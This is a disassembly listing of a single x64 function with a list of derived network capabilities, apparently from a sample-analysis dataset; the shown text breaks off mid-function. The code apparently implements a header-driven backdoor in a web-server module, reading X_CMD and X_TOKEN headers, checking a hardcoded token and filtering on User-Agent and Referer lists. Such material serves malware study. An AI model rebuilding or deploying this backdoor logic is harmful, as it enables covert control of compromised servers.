Function at 0x180002af0
Capabilities:
Connect socket
Convert ip address from string
Receive data
Receive data on socket
Resolve dns
Resolve function by parsing pe exports
Send data
Send data on socket
Set socket configuration

Disassembly:
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1240
call fcn.18001a7e0
sub rsp, rax
mov qword [rsp + 0x68], 0xfffffffffffffffe
mov qword [rsp + 0x1270], rbx
mov qword [rsp + 0x1280], rsi
mov rax, qword [0x180056090]
xor rax, rsp
mov qword [rsp + 0x1230], rax
mov rbx, rdx
xor r14d, r14d
mov dword [rsp + 0x60], r14d
mov rax, qword [rdx]
mov rcx, rdx
call qword [rax + 0x20]
mov rsi, rax
mov qword [rsp + 0x110], rax
mov rdx, qword [rbx]
mov rcx, rbx
call qword [rdx + 0x18]
mov rdi, rax
test rax, rax
je 0x180007125
test rsi, rsi
je 0x180007125
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx + 0x40]
mov rdx, rax
test rax, rax
je 0x180007125
mov eax, r14d
lea r9, [0x18004bd70]
nop
movzx ecx, byte [rdx + rax]
inc rax
cmp cl, byte [r9 + rax - 1]
jne 0x180002ba9
cmp rax, 4
jne 0x180002b90
cmp cl, byte [r9 + rax - 1]
mov r15d, r14d
sete r15b
mov dword [rsp + 0x48], r15d
mov rax, r14
lea r8, str.POST
mov r13d, 5
nop word [rax + rax]
movzx ecx, byte [rdx + rax]
inc rax
cmp cl, byte [r8 + rax - 1]
jne 0x180002be8
cmp rax, r13
jne 0x180002bd0
cmp cl, byte [r8 + rax - 1]
mov eax, r14d
sete al
mov dword [rsp + 0x40], eax
mov rax, qword [rdi]
xor r8d, r8d
lea rdx, str.X_CMD
mov rcx, rdi
call qword [rax + 0x18]
mov r12, rax
mov r9, qword [rdi]
xor r8d, r8d
lea rdx, str.X_TOKEN
mov rcx, rdi
call qword [r9 + 0x18]
mov rbx, rax
mov r9, qword [rdi]
xor r8d, r8d
lea rdx, str.HOST
mov rcx, rdi
call qword [r9 + 0x18]
mov r14, rax
test rax, rax
je 0x180007125
xor eax, eax
mov qword [rsp + 0x1a0], rax
mov qword [rsp + 0x1a8], socket
mov byte [rsp + 0x190], al
or r8, 0xffffffffffffffff
inc r8
cmp byte [r14 + r8], al
jne 0x180002c60
mov rdx, r14
lea rcx, [rsp + 0x190]
call fcn.180001d00
nop
xor eax, eax
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0xa8], socket
mov byte [rsp + 0x90], al
or r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [r14 + r8], al
jne 0x180002ca0
mov rdx, r14
lea rcx, [rsp + 0x90]
call fcn.180001d00
nop
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0xf0]
call fcn.180014980
nop
lea rcx, [rsp + 0x90]
call fcn.180001c80
mov rax, qword [rdi]
xor r8d, r8d
lea rdx, str.X_FORWARDED_HOST
mov rcx, rdi
call qword [rax + 0x18]
mov r14, rax
test rax, rax
je 0x180002e99
xor eax, eax
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xc8], socket
mov byte [rsp + 0xb0], al
or r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [r14 + r8], al
jne 0x180002d20
mov rdx, r14
lea rcx, [rsp + 0xb0]
call fcn.180001d00
nop
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x70]
call fcn.180014980
mov r15, rax
lea rax, [rsp + 0xf0]
cmp rax, r15
je 0x180002dc9
mov r8, qword [rsp + 0x108]
cmp r8, 8
jb 0x180002d82
inc r8
mov rdx, qword [rsp + 0xf0]
lea rcx, [rsp + 0xf0]
call fcn.180009aa0
xor ecx, ecx
mov qword [rsp + 0x100], rcx
mov qword [rsp + 0x108], 7
mov word [rsp + 0xf0], cx
movups xmm0, xmmword [r15]
movups xmmword [rsp + 0xf0], xmm0
movups xmm1, xmmword [r15 + 0x10]
movups xmmword [rsp + 0x100], xmm1
mov qword [r15 + 0x10], rcx
mov qword [r15 + 0x18], 7
mov word [r15], cx
mov r8, qword [rsp + 0x88]
cmp r8, 8
jb 0x180002de9
inc r8
mov rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0x70]
call fcn.180009aa0
xor r15d, r15d
mov qword [rsp + 0x80], r15
mov qword [rsp + 0x88], 7
mov word [rsp + 0x70], r15w
lea rcx, [rsp + 0xb0]
call fcn.180001c80
mov qword [rsp + 0x80], r15
mov qword [rsp + 0x88], socket
mov byte [rsp + 0x70], r15b
or r8, 0xffffffffffffffff
inc r8
cmp byte [r14 + r8], 0
jne 0x180002e30
mov rdx, r14
lea rcx, [rsp + 0x70]
call fcn.180001d00
lea rcx, [rsp + 0x190]
call fcn.180001c80
movups xmm0, xmmword [rsp + 0x70]
movups xmmword [rsp + 0x190], xmm0
movups xmm1, xmmword [rsp + 0x80]
movups xmmword [rsp + 0x1a0], xmm1
mov qword [rsp + 0x80], r15
mov qword [rsp + 0x88], socket
mov byte [rsp + 0x70], 0
lea rcx, [rsp + 0x70]
call fcn.180001c80
mov r15d, dword [rsp + 0x48]
xor r14d, r14d
mov qword [rsp + 0xe0], r14
mov qword [rsp + 0xe8], 7
mov word [rsp + 0xd0], r14w
mov rax, qword [rdi]
xor r8d, r8d
lea rdx, str.X_FORWARDED_FOR
mov rcx, rdi
call qword [rax + 0x18]
test rax, rax
je 0x180002fe7
mov qword [rsp + 0xa0], r14
mov qword [rsp + 0xa8], socket
mov byte [rsp + 0x90], r14b
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x180002ef5
mov rdx, rax
lea rcx, [rsp + 0x90]
call fcn.180001d00
nop
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x70]
call fcn.180014980
mov r14, rax
lea rax, [rsp + 0xd0]
cmp rax, r14
je 0x180002f9f
mov r8, qword [rsp + 0xe8]
cmp r8, 8
jb 0x180002f58
inc r8
mov rdx, qword [rsp + 0xd0]
lea rcx, [rsp + 0xd0]
call fcn.180009aa0
xor ecx, ecx
mov qword [rsp + 0xe0], rcx
mov qword [rsp + 0xe8], 7
mov word [rsp + 0xd0], cx
movups xmm0, xmmword [r14]
movups xmmword [rsp + 0xd0], xmm0
movups xmm1, xmmword [r14 + 0x10]
movups xmmword [rsp + 0xe0], xmm1
mov qword [r14 + 0x10], rcx
mov qword [r14 + 0x18], 7
mov word [r14], cx
mov r8, qword [rsp + 0x88]
cmp r8, 8
jb 0x180002fbf
inc r8
mov rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0x70]
call fcn.180009aa0
xor eax, eax
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 7
mov word [rsp + 0x70], ax
lea rcx, [rsp + 0x90]
jmp 0x1800030ce
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + 0x78]
mov rdx, rax
lea rcx, [rsp + 0x1d0]
call fcn.180011e30
nop
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.180014980
mov r14, rax
lea rax, [rsp + 0xd0]
cmp rax, r14
je 0x18000308b
mov r8, qword [rsp + 0xe8]
cmp r8, 8
jb 0x180003044
inc r8
mov rdx, qword [rsp + 0xd0]
lea rcx, [rsp + 0xd0]
call fcn.180009aa0
xor ecx, ecx
mov qword [rsp + 0xe0], rcx
mov qword [rsp + 0xe8], 7
mov word [rsp + 0xd0], cx
movups xmm0, xmmword [r14]
movups xmmword [rsp + 0xd0], xmm0
movups xmm1, xmmword [r14 + 0x10]
movups xmmword [rsp + 0xe0], xmm1
mov qword [r14 + 0x10], rcx
mov qword [r14 + 0x18], 7
mov word [r14], cx
mov r8, qword [rsp + 0x88]
cmp r8, 8
jb 0x1800030ab
inc r8
mov rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0x70]
call fcn.180009aa0
xor eax, eax
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 7
mov word [rsp + 0x70], ax
lea rcx, [rsp + 0x1d0]
call fcn.180001c80
xor eax, eax
mov r14d, eax
test rbx, rbx
je 0x180003168
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], socket
mov byte [rsp + 0x70], al
lea r8d, [rax + 0x10]
lea rdx, str.tn7rM2851XVvOFbc
lea rcx, [rsp + 0x70]
call fcn.180001d00
nop
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x1d0]
call fcn.180014900
mov rdx, rax
cmp qword [rax + 0x18], 0x10
jb 0x18000312e
mov rdx, qword [rax]
sub rdx, rbx
movzx ecx, byte [rbx]
movzx eax, byte [rbx + rdx]
sub ecx, eax
jne 0x180003143
inc rbx
test eax, eax
jne 0x180003131
xor eax, eax
mov r14d, eax
test ecx, ecx
sete r14b
lea rcx, [rsp + 0x1d0]
call fcn.180001c80
nop
lea rcx, [rsp + 0x70]
call fcn.180001c80
xor eax, eax
test r12, r12
je 0x180003241
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], socket
mov byte [rsp + 0x70], 0
or r8, 0xffffffffffffffff
nop
inc r8
cmp byte [r12 + r8], 0
jne 0x180003190
mov rdx, r12
lea rcx, [rsp + 0x70]
call fcn.180001d00
mov dword [rsp + 0x60], 1
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x150]
call fcn.18000ca30
mov rax, qword [rsp + 0x150]
xor r8d, r8d
mov rcx, qword [rsp + 0x158]
cmp rax, rcx
je 0x180003241
nop dword [rax]
inc r8
cmp byte [rax + 0x19], 0
jne 0x18000322e
mov rdx, qword [rax + 0x10]
cmp byte [rdx + 0x19], 0
jne 0x18000320e
mov rax, rdx
mov rdx, qword [rdx]
cmp byte [rdx + 0x19], 0
jne 0x18000322e
nop
mov rax, rdx
mov rdx, qword [rdx]
cmp byte [rdx + 0x19], 0
je 0x180003200
jmp 0x18000322e
mov rdx, qword [rax + 8]
cmp byte [rdx + 0x19], 0
jne 0x18000322b
cmp rax, qword [rdx + 0x10]
jne 0x18000322b
mov rax, rdx
mov rdx, qword [rdx + 8]
cmp byte [rdx + 0x19], 0
je 0x180003218
mov rax, rdx
cmp rax, rcx
jne 0x1800031e0
test r8, r8
je 0x180003241
test r14d, r14d
je 0x180003241
xor bl, bl
jmp 0x180003243
mov bl, 1
mov eax, dword [rsp + 0x60]
test al, 1
je 0x18000325c
and eax, 0xfffffffe
mov dword [rsp + 0x60], eax
lea rcx, [rsp + 0x70]
call fcn.180001c80
test bl, bl
je 0x180004b5c
test r15d, r15d
je 0x180003276
cmp byte [0x180056a18], 0
jne 0x180003301
mov r8, qword [rsp + 0xe8]
cmp r8, 8
jb 0x18000329c
inc r8
mov rdx, qword [rsp + 0xd0]
lea rcx, [rsp + 0xd0]
call fcn.180009aa0
xor ebx, ebx
mov word [rsp + 0xd0], bx
mov qword [rsp + 0xe8], 7
mov qword [rsp + 0xe0], rbx
mov r8, qword [rsp + 0x108]
cmp r8, 8
jb 0x1800032e0
inc r8
mov rdx, qword [rsp + 0xf0]
lea rcx, [rsp + 0xf0]
call fcn.180009aa0
mov qword [rsp + 0x100], rbx
mov qword [rsp + 0x108], 7
mov word [rsp + 0xf0], bx
jmp 0x180007118
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + reloc.WS2_32.dll_htonl]
mov rbx, qword [rax + 0x58]
test rbx, rbx
je 0x180003276
xor ecx, ecx
call fcn.18001fa5c
cmp rax, qword [0x180058ae0]
jle 0x18000335b
xor ecx, ecx
call fcn.18001fa5c
add rax, 0x3c
mov qword [0x180058ae0], rax
call fcn.180014fe0
call fcn.180015500
lea rcx, [0x180058aa8]
call fcn.180008330
lea rcx, [0x180058ac0]
call fcn.180008330
xor eax, eax
mov qword [rsp + 0x220], rax
mov qword [rsp + 0x228], 7
mov word [rsp + 0x210], ax
or r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp word [rbx + r8*2], ax
jne 0x180003380
mov rdx, rbx
lea rcx, [rsp + 0x210]
call fcn.1800090b0
nop
mov rax, qword [rdi]
xor r8d, r8d
lea rdx, str.User_Agent
mov rcx, rdi
call qword [rax + 0x18]
mov r13, rax
test rax, rax
je 0x180004a8f
xor r12b, r12b
xor r14b, r14b
xor r15b, r15b
xor ebx, ebx
mov qword [rsp + 0x80], rbx
mov qword [rsp + 0x88], socket
mov byte [rsp + 0x70], bl
or r8, 0xffffffffffffffff
inc r8
cmp byte [r8 + rax], bl
jne 0x1800033e1
mov rdx, r13
lea rcx, [rsp + 0x70]
call fcn.180001d00
nop
mov qword [rsp + 0xa0], rbx
mov qword [rsp + 0xa8], socket
mov byte [rsp + 0x90], 0
or r9, 0xffffffffffffffff
xor r8d, r8d
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x90]
call fcn.180001fd0
nop
mov r8, qword [rsp + 0x80]
test r8, r8
je 0x180003630
lea r12, [rsp + 0x90]
cmp qword [rsp + 0xa8], 0x10
cmovae r12, qword [rsp + 0x90]
lea rax, [rsp + 0x70]
cmp qword [rsp + 0x88], 0x10
cmovae rax, qword [rsp + 0x70]
add rax, r8
lea r15, [rsp + 0x70]
cmp qword [rsp + 0x88], 0x10
cmovae r15, qword [rsp + 0x70]
mov r14, rax
sub r14, r15
cmp r15, rax
cmova r14, rbx
test r14, r14
je 0x1800034ac
movsx ecx, byte [r15 + rbx]
call fcn.18001fc2c
mov byte [r12 + rbx], al
inc rbx
cmp rbx, r14
jne 0x180003496
mov rax, qword [0x180058af8]
mov rbx, qword [rax]
cmp rbx, rax
je 0x18000356a
nop
lea r9, [rbx + 0x20]
lea rax, [r9 + 0x10]
cmp qword [r9 + 0x18], 0x10
jb 0x1800034d2
mov r9, qword [r9]
lea rcx, [rsp + 0x90]
cmp qword [rsp + 0xa8], 0x10
cmovae rcx, qword [rsp + 0x90]
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
mov rdx, qword [rsp + 0xa0]
call fcn.18000c950
cmp rax, 0xffffffffffffffff
jne 0x180003565
cmp byte [rbx + 0x19], 0
jne 0x180003556
mov rax, qword [rbx + 0x10]
cmp byte [rax + 0x19], 0
jne 0x180003531
mov rbx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
jne 0x180003556
mov rbx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
je 0x180003523
jmp 0x180003556
mov rax, qword [rbx + 8]
cmp byte [rax + 0x19], 0
jne 0x180003553
nop dword [rax + rax]
cmp rbx, qword [rax + 0x10]
jne 0x180003553
mov rbx, rax
mov rax, qword [rax + 8]
cmp byte [rax + 0x19], 0
je 0x180003540
mov rbx, rax
cmp rbx, qword [0x180058af8]
jne 0x1800034c0
jmp 0x18000356a
mov r12b, 1
jmp 0x18000356d
xor r12b, r12b
mov rax, qword [0x180058b08]
mov rbx, qword [rax]
cmp rbx, rax
je 0x18000362a
lea r9, [rbx + 0x20]
lea rax, [r9 + 0x10]
cmp qword [r9 + 0x18], 0x10
jb 0x180003592
mov r9, qword [r9]
lea rcx, [rsp + 0x90]
cmp qword [rsp + 0xa8], 0x10
cmovae rcx, qword [rsp + 0x90]
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
mov rdx, qword [rsp + 0xa0]
call fcn.18000c950
cmp rax, 0xffffffffffffffff
jne 0x180003625
cmp byte [rbx + 0x19], 0
jne 0x180003616
mov rax, qword [rbx + 0x10]
cmp byte [rax + 0x19], 0
jne 0x1800035f1
mov rbx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
jne 0x180003616
mov rbx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
je 0x1800035e3
jmp 0x180003616
mov rax, qword [rbx + 8]
cmp byte [rax + 0x19], 0
jne 0x180003613
nop dword [rax + rax]
cmp rbx, qword [rax + 0x10]
jne 0x180003613
mov rbx, rax
mov rax, qword [rax + 8]
cmp byte [rax + 0x19], 0
je 0x180003600
mov rbx, rax
cmp rbx, qword [0x180058b08]
jne 0x180003580
jmp 0x18000362a
mov r14b, 1
jmp 0x18000362d
xor r14b, r14b
xor r15b, r15b
mov rax, qword [rdi]
xor r8d, r8d
lea rdx, str.Referer
mov rcx, rdi
call qword [rax + 0x18]
mov rbx, rax
xor edi, edi
mov qword [rsp + 0x140], rdi
mov qword [rsp + 0x148], 7
mov word [rsp + 0x130], di
test rax, rax
je 0x1800038a4
mov qword [rsp + 0x1c0], rdi
mov qword [rsp + 0x1c8], socket
mov byte [rsp + 0x1b0], dil
or r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x180003690
mov rdx, rbx
lea rcx, [rsp + 0x1b0]
call fcn.180001d00
nop
lea rdx, [rsp + 0x1b0]
lea rcx, [rsp + 0x170]
call fcn.180014980
mov rdi, rax
lea rax, [rsp + 0x130]
cmp rax, rdi
je 0x18000373a
mov r8, qword [rsp + 0x148]
cmp r8, 8
jb 0x1800036f6
inc r8
mov rdx, qword [rsp + 0x130]
lea rcx, [rsp + 0x130]
call fcn.180009aa0
xor ecx, ecx
mov qword [rsp + 0x140], rcx
mov qword [rsp + 0x148], 7
mov word [rsp + 0x130], cx
movups xmm0, xmmword [rdi]
movups xmmword [rsp + 0x130], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rsp + 0x140], xmm1
mov qword [rdi + 0x10], rcx
mov qword [rdi + 0x18], 7
mov word [rdi], cx
mov r8, qword [rsp + 0x188]
cmp r8, 8
jb 0x180003760
inc r8
mov rdx, qword [rsp + 0x170]
lea rcx, [rsp + 0x170]
call fcn.180009aa0
xor edi, edi
mov qword [rsp + 0x180], rdi
mov qword [rsp + 0x188], 7
mov word [rsp + 0x170], di
lea rcx, [rsp + 0x1b0]
call fcn.180001c80
mov qword [rsp + 0xc0], rdi
mov qword [rsp + 0xc8], socket
mov byte [rsp + 0xb0], dil
or r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x1800037b0
mov rdx, rbx
lea rcx, [rsp + 0xb0]
call fcn.180001d00
mov rdx, qword [rsp + 0xc0]
test rdx, rdx
je 0x180003897
mov rax, qword [0x180058b18]
mov rbx, qword [rax]
cmp rbx, rax
je 0x180003897
nop
lea r9, [rbx + 0x20]
lea rax, [r9 + 0x10]
cmp qword [r9 + 0x18], 0x10
jb 0x180003802
mov r9, qword [r9]
lea rcx, [rsp + 0xb0]
cmp qword [rsp + 0xc8], 0x10
cmovae rcx, qword [rsp + 0xb0]
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
call fcn.18000c950
cmp rax, 0xffffffffffffffff
jne 0x180003894
cmp byte [rbx + 0x19], 0
jne 0x18000387e
mov rax, qword [rbx + 0x10]
cmp byte [rax + 0x19], 0
jne 0x18000385e
mov rbx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
jne 0x18000387e
nop dword [rax + rax]
mov rbx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
je 0x180003850
jmp 0x18000387e
mov rax, qword [rbx + 8]
cmp byte [rax + 0x19], 0
jne 0x18000387b
cmp rbx, qword [rax + 0x10]
jne 0x18000387b
mov rbx, rax
mov rax, qword [rax + 8]
cmp byte [rax + 0x19], 0
je 0x180003868
mov rbx, rax
cmp rbx, qword [0x180058b18]
je 0x180003897
mov rdx, qword [rsp + 0xc0]
jmp 0x1800037f0
mov r15b, 1
lea rcx, [rsp + 0xb0]
call fcn.180001c80
test r12b, r12b
jne 0x1800038bb
test r14b, r14b
je 0x180004a33
test r15b, r15b
je 0x180004a33
mov qword [rsp + 0x180], rdi
mov qword [rsp + 0x188], socket
mov byte [rsp + 0x170], 0
or r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [r8 + r13], 0
jne 0x1800038e0
mov rdx, r13
lea rcx, [rsp + 0x170]
call fcn.180001d00
nop
lea rdx, [rsp + 0x170]
lea rcx, [rsp + 0xb0]
call fcn.180014980
nop
lea rcx, [rsp + 0x170]
call fcn.180001c80
lea rdx, [rsp + 0x48]
call fcn.180008390
nop
mov rbx, qword [rsp + 0x48]
mov r15, qword [rsp + 0x50]
cmp rbx, r15
je 0x1800049d7
xor r13d, r13d
nop
mov qword [rsp + 0x180], r13
mov qword [rsp + 0x188], 7
mov word [rsp + 0x170], r13w
or r9, 0xffffffffffffffff
xor r8d, r8d
mov rdx, rbx
lea rcx, [rsp + 0x170]
call fcn.180009b10
nop
mov qword [rsp + 0x1c0], r13
mov qword [rsp + 0x1c8], 7
mov word [rsp + 0x1b0], r13w
lea rdx, [rbx + 0x20]
or r9, 0xffffffffffffffff
xor r8d, r8d
lea rcx, [rsp + 0x1b0]
call fcn.180009b10
nop
lea r9, [rsp + 0x170]
mov r14, qword [rsp + 0x170]
mov rdi, qword [rsp + 0x188]
cmp rdi, 8
cmovae r9, r14
lea rcx, [rsp + 0x210]
cmp qword [rsp + 0x228], 8
cmovae rcx, qword [rsp + 0x210]
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov rdx, qword [rsp + 0x220]
call fcn.18000c870
test rax, rax
je 0x180003a96
mov r8, qword [rsp + 0x1c8]
cmp r8, 8
jb 0x180003a41
inc r8
mov rdx, qword [rsp + 0x1b0]
lea rcx, [rsp + 0x1b0]
call fcn.180009aa0
mov rdi, qword [rsp + 0x188]
mov r14, qword [rsp + 0x170]
mov qword [rsp + 0x1c0], r13
mov qword [rsp + 0x1c8], 7
mov word [rsp + 0x1b0], r13w
cmp rdi, 8
jb 0x180003a78
lea r8, [rdi + 1]
mov rdx, r14
lea rcx, [rsp + 0x170]
call fcn.180009aa0
add rbx, 0x40
cmp rbx, r15
jne 0x180003940
mov r15, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x48]
xor edi, edi
jmp 0x1800049d7
lea rdx, [rsp + 0xf0]
test r12b, r12b
je 0x180003b79
lea rcx, [0x180058aa8]
call fcn.180008280
lea r14, [0x180058ab8]
mov qword [rsp + 0x150], r14
mov rcx, r14
test al, al
je 0x180003b43
call sub.KERNEL32.dll_AcquireSRWLockExclusive
mov byte [rsp + 0x158], 1
lea r8, [rsp + 0xf0]
lea rdx, [rsp + 0x110]
lea rcx, [0x180058aa8]
call fcn.18000d440
mov rdi, qword [rsp + 0x110]
mov rcx, r14
call fcn.180018480
mov qword [rsp + 0x150], r14
mov rcx, r14
call sub.KERNEL32.dll_AcquireSRWLockExclusive
mov byte [rsp + 0x158], 1
lea r8, [rsp + 0xf0]
lea rdx, [rsp + 0x110]
lea rcx, [0x180058aa8]
call fcn.18000d440
mov rbx, qword [rsp + 0x110]
jmp 0x180003c14
call sub.KERNEL32.dll_AcquireSRWLockExclusive
mov byte [rsp + 0x158], 1
lea r8, [rsp + 0xf0]
lea rdx, [rsp + 0x110]
lea rcx, [0x180058aa8]
call fcn.18000d440
mov rbx, qword [rsp + 0x110]
jmp 0x180003c57
lea rcx, [0x180058ac0]
call fcn.180008280
lea r14, [0x180058ad0]
mov qword [rsp + 0x150], r14
mov rcx, r14
test al, al
je 0x180003c26
call sub.KERNEL32.dll_AcquireSRWLockExclusive
mov byte [rsp + 0x158], 1
lea r8, [rsp + 0xf0]
lea rdx, [rsp + 0x110]
lea rcx, [0x180058ac0]
call fcn.18000d440
mov rdi, qword [rsp + 0x110]
mov rcx, r14
call fcn.180018480
mov qword [rsp + 0x150], r14
mov rcx, r14
call sub.KERNEL32.dll_AcquireSRWLockExclusive
mov byte [rsp + 0x158], 1
lea r8, [rsp + 0xf0]
lea rdx, [rsp + 0x110]
lea rcx, [0x180058ac0]
call fcn.18000d440
mov rbx, qword [rsp + 0x110]
mov rcx, r14
call fcn.180018480
mov eax, dword [rdi + 0x40]
inc eax
mov dword [rbx + 0x40], eax
jmp 0x180003c66
call sub.KERNEL32.dll_AcquireSRWLockExclusive
mov byte [rsp + 0x158], 1
lea r8, [rsp + 0xf0]
lea rdx, [rsp + 0x110]
lea rcx, [0x180058ac0]
call fcn.18000d440
mov rbx, qword [rsp + 0x110]
mov rcx, r14
call fcn.180018480
mov dword [rbx + 0x40], 1
mov qword [rsp + 0x200], r13
mov qword [rsp + 0x208], socket
mov byte [rsp + 0x1f0], 0
cmp dword [0x180058a08], 0
jle 0x180004193
xor ecx, ecx
call fcn.18001fa5c
cmp rax, qword [0x180058ad8]
jle 0x180003e6a
xor ecx, ecx
call fcn.18001fa5c
movsxd rcx, dword [0x180058a08]
add rcx, rax
mov qword [0x180058ad8], rcx
call fcn.180008210
lea r8, [rsp + 0x210]
lea rdx, [rsp + 0x1b0]
lea rcx, [rsp + 0x1d0]
call fcn.18000c2b0
nop
mov dword [rsp + 0x30], 3
lea rcx, [rsp + 0x130]
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0xd0]
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0xf0]
lea r8, [rsp + 0xb0]
mov rdx, rax
lea rcx, [rsp + 0x150]
call fcn.180010c90
mov rbx, rax
lea rax, [rsp + 0x1f0]
cmp rax, rbx
je 0x180003d63
lea rcx, [rsp + 0x1f0]
call fcn.180001c80
movups xmm0, xmmword [rbx]
movups xmmword [rsp + 0x1f0], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rsp + 0x200], xmm1
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], send
mov byte [rbx], 0
lea rcx, [rsp + 0x150]
call fcn.180001c80
nop
mov r8, qword [rsp + 0x1e8]
cmp r8, 8
jb 0x180003d97
inc r8
mov rdx, qword [rsp + 0x1d0]
lea rcx, [rsp + 0x1d0]
call fcn.180009aa0
cmp qword [rsp + 0x200], 0
je 0x180004408
test r12b, r12b
jne 0x1800043f9
mov qword [rsp + 0x120], r13
mov qword [rsp + 0x128], 7
mov word [rsp + 0x110], r13w
mov r8d, reloc.WS2_32.dll_recv
lea rdx, str.8FN2PN2WEiu007cU
lea rcx, [rsp + 0x110]
call fcn.1800090b0
nop
lea rdi, [0x180058aa0]
mov qword [rsp + 0x150], rdi
mov rcx, rdi
call sub.KERNEL32.dll_AcquireSRWLockExclusive
mov byte [rsp + 0x158], 1
lea rdx, [rsp + 0x110]
call fcn.180008cf0
mov rbx, rax
mov rcx, rdi
call fcn.180018480
lea rax, [rsp + 0x1f0]
cmp rbx, rax
je 0x180003e43
or r9, 0xffffffffffffffff
xor r8d, r8d
lea rdx, [rsp + 0x1f0]
mov rcx, rbx
call fcn.180001fd0
nop
mov r8, qword [rsp + 0x128]
cmp r8, 8
jb 0x1800043f9
mov rdx, qword [rsp + 0x110]
lea rcx, [rsp + 0x110]
jmp 0x1800043f1
test r12b, r12b
jne 0x180003f35
mov qword [rsp + 0x160], r13
mov qword [rsp + 0x168], 7
mov word [rsp + 0x150], r13w
mov r8d, reloc.WS2_32.dll_recv
lea rdx, str.8FN2PN2WEiu007cU
lea rcx, [rsp + 0x150]
call fcn.1800090b0
mov r13d, dword [rsp + 0x60]
or r13d, 2
lea rdi, [0x180058aa0]
mov rcx, rdi
call sub.KERNEL32.dll_AcquireSRWLockShared
mov r15, qword [0x180058a90]
mov rbx, qword [r15 + 8]
mov r14, r15
cmp byte [rbx + 0x19], r12b
jne 0x180003f07
nop word [rax + rax]
lea rcx, [rbx + 0x20]
lea rdx, [rsp + 0x150]
call fcn.18000ced0
test al, al
je 0x180003efb
mov rbx, qword [rbx + 0x10]
jmp 0x180003f01
mov r14, rbx
mov rbx, qword [rbx]
cmp byte [rbx + 0x19], 0
je 0x180003ee0
cmp r14, r15
je 0x180003f21
lea rdx, [r14 + 0x20]
lea rcx, [rsp + 0x150]
call fcn.18000ced0
test al, al
je 0x180003f24
mov r14, r15
mov rcx, rdi
call sub.KERNEL32.dll_ReleaseSRWLockShared
cmp r14, r15
je 0x180003f41
mov bl, 1
jmp 0x180003f43
lea rdi, [0x180058aa0]
mov r13d, dword [rsp + 0x60]
xor bl, bl
test r13b, 2
je 0x180003f6f
mov r8, qword [rsp + 0x168]
cmp r8, 8
jb 0x180003f6f
inc r8
mov rdx, qword [rsp + 0x150]
lea rcx, [rsp + 0x150]
call fcn.180009aa0
test bl, bl
je 0x18000400a
xor r13d, r13d
mov qword [rsp + 0x120], r13
mov qword [rsp + 0x128], 7
mov word [rsp + 0x110], r13w
lea r8d, [r13 + 0x10]
lea rdx, str.8FN2PN2WEiu007cU
lea rcx, [rsp + 0x110]
call fcn.1800090b0
nop
mov qword [rsp + 0x150], rdi
mov rcx, rdi
call sub.KERNEL32.dll_AcquireSRWLockExclusive
mov byte [rsp + 0x158], 1
lea rdx, [rsp + 0x110]
call fcn.180008cf0
mov rbx, rax
mov rcx, rdi
call fcn.180018480
lea rax, [rsp + 0x1f0]
cmp rax, rbx
je 0x180004005
or r9, 0xffffffffffffffff
xor r8d, r8d
mov rdx, rbx
lea rcx, [rsp + 0x1f0]
call fcn.180001fd0
nop
jmp 0x180003e43
lea r8, [rsp + 0x210]
lea rdx, [rsp + 0x1b0]
lea rcx, [rsp + 0x1d0]
call fcn.18000c2b0
nop
mov dword [rsp + 0x30], 3
lea rcx, [rsp + 0x130]
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0xd0]
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0xf0]
lea r8, [rsp + 0xb0]
mov rdx, rax
lea rcx, [rsp + 0x150]
call fcn.180010c90
mov rbx, rax
lea rax, [rsp + 0x1f0]
cmp rax, rbx
je 0x1800040b2
lea rcx, [rsp + 0x1f0]
call fcn.180001c80
movups xmm0, xmmword [rbx]
movups xmmword [rsp + 0x1f0], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rsp + 0x200], xmm1
xor r13d, r13d
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], send
mov byte [rbx], r13b
jmp 0x1800040b5
xor r13d, r13d
lea rcx, [rsp + 0x150]
call fcn.180001c80
nop
mov r8, qword [rsp + 0x1e8]
